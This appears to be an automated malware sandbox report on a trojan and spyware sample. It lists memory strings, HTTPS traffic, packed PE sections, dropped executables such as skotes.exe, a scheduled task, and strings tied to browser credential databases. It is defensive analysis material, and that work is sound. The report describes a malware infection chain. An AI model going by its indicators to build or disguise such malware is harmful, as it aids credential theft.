Source: firefox.exe, 0000001B.00000002.3090601585.0000025508D5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3146705531.0000025578203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3107641537.000002550977F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3142094936.0000025510AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3136304541.0000025510095000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A27A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3146705531.0000025578268000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.000002550741D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3145288571.0000025577F39000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3146705531.0000025578211000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.000002550744C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3145517592.0000025577F70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3037710941.000002550598B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3145288571.0000025577F30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3146705531.000002557825D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3037710941.00000255059C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3108863668.0000025509894000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.2869479477.000001E49ADDA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2882540470.000001A8E0A0F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3145288571.0000025577F39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd_setSearchProviderIn
Source: firefox.exe, 0000001B.00000002.3146705531.0000025578203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdu
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accountDOM_VK_OPEN_CURLY_BRACKETincrementModificationCountfocusFirstNavigableEle
Source: firefox.exe, 0000001B.00000002.3120468368.000002550AA73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com_

Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50097 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 29af563a7b.exe, 0000000D.00000002.2894102744.0000000000D92000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_f2a40437-4
Source: 29af563a7b.exe, 0000000D.00000002.2894102744.0000000000D92000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_4449ce07-8

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe.0.dr	Static PE information: section name:
Source: A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe.0.dr	Static PE information: section name: .idata
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.0.dr	Static PE information: section name:
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.0.dr	Static PE information: section name: .idata
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.0.dr	Static PE information: section name:
Source: RLX7QEJ1ATLQN8ECDIPHB.exe.0.dr	Static PE information: section name:
Source: RLX7QEJ1ATLQN8ECDIPHB.exe.0.dr	Static PE information: section name: .rsrc
Source: RLX7QEJ1ATLQN8ECDIPHB.exe.0.dr	Static PE information: section name: .idata
Source: RLX7QEJ1ATLQN8ECDIPHB.exe.0.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe.10.dr	Static PE information: section name: .idata
Source: 09d417a7c4.exe.10.dr	Static PE information: section name:
Source: 09d417a7c4.exe.10.dr	Static PE information: section name: .rsrc
Source: 09d417a7c4.exe.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: 353ab0ae6e.exe.10.dr	Static PE information: section name:
Source: 353ab0ae6e.exe.10.dr	Static PE information: section name: .rsrc
Source: 353ab0ae6e.exe.10.dr	Static PE information: section name: .idata
Source: 353ab0ae6e.exe.10.dr	Static PE information: section name:
Source: RETV5V6Q4X285DV6.exe.11.dr	Static PE information: section name:
Source: RETV5V6Q4X285DV6.exe.11.dr	Static PE information: section name: .idata
Source: RETV5V6Q4X285DV6.exe.11.dr	Static PE information: section name:
Source: SOZIL3CYM3GR68KV3Z4.exe.11.dr	Static PE information: section name:
Source: SOZIL3CYM3GR68KV3Z4.exe.11.dr	Static PE information: section name: .rsrc
Source: SOZIL3CYM3GR68KV3Z4.exe.11.dr	Static PE information: section name: .idata
Source: SOZIL3CYM3GR68KV3Z4.exe.11.dr	Static PE information: section name:
Source: GKAQCOVK40X0NN7A.exe.11.dr	Static PE information: section name:
Source: GKAQCOVK40X0NN7A.exe.11.dr	Static PE information: section name: .idata

PE file has a writeable .text section

Source: num[1].exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D25DE1	0_3_00D25DE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D25DE1	0_3_00D25DE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D25DE1	0_3_00D25DE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D25DE1	0_3_00D25DE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D25DE1	0_3_00D25DE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D25DE1	0_3_00D25DE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D25DE1	0_3_00D25DE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D25DE1	0_3_00D25DE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D25DE1	0_3_00D25DE1
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Code function: 7_2_00DF28F8	7_2_00DF28F8
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Code function: 7_2_00DF28E7	7_2_00DF28E7

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9991555796204621
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983502213896458
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.0.dr	Static PE information: Section: dpbwynir ZLIB complexity 0.9945414141040805
Source: RLX7QEJ1ATLQN8ECDIPHB.exe.0.dr	Static PE information: Section: ffngccge ZLIB complexity 0.9948113118587809
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9983502213896458
Source: skotes.exe.3.dr	Static PE information: Section: dpbwynir ZLIB complexity 0.9945414141040805
Source: random[1].exe.10.dr	Static PE information: Section: ZLIB complexity 0.9991555796204621
Source: 09d417a7c4.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9991555796204621
Source: random[1].exe0.10.dr	Static PE information: Section: ffngccge ZLIB complexity 0.9948113118587809
Source: 353ab0ae6e.exe.10.dr	Static PE information: Section: ffngccge ZLIB complexity 0.9948113118587809
Source: RETV5V6Q4X285DV6.exe.11.dr	Static PE information: Section: ZLIB complexity 0.9983502213896458
Source: RETV5V6Q4X285DV6.exe.11.dr	Static PE information: Section: dpbwynir ZLIB complexity 0.9945414141040805
Source: SOZIL3CYM3GR68KV3Z4.exe.11.dr	Static PE information: Section: ffngccge ZLIB complexity 0.9948113118587809

Source: random[1].exe0.10.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: RLX7QEJ1ATLQN8ECDIPHB.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 353ab0ae6e.exe.10.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: SOZIL3CYM3GR68KV3Z4.exe.11.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000003.2316405109.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, RLX7QEJ1ATLQN8ECDIPHB.exe, 00000005.00000002.2356707937.00000000000D1000.00000040.00000001.01000000.0000000A.sdmp, 353ab0ae6e.exe, 0000000C.00000003.2785659167.0000000005500000.00000004.00001000.00020000.00000000.sdmp, 353ab0ae6e.exe, 0000000C.00000002.2826208289.0000000000F61000.00000040.00000001.01000000.00000010.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@75/29@80/12

Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\HG7APAF5.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3376:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:728:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6768:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6000:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2620:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5892:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2140970539.0000000005757000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2141362319.000000000573A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154444042.0000000005764000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2154546902.0000000005757000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787926502.0000000005D56000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2787272196.0000000005D75000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2801563364.0000000005D79000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe	String found in binary or memory: p.update.lastUpdateTime.recipe-client-addon-run", 1696426836); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837); user_pref("app.update.lastUpdateTime.xpi-signature-v
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: RLX7QEJ1ATLQN8ECDIPHB.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe "C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe"
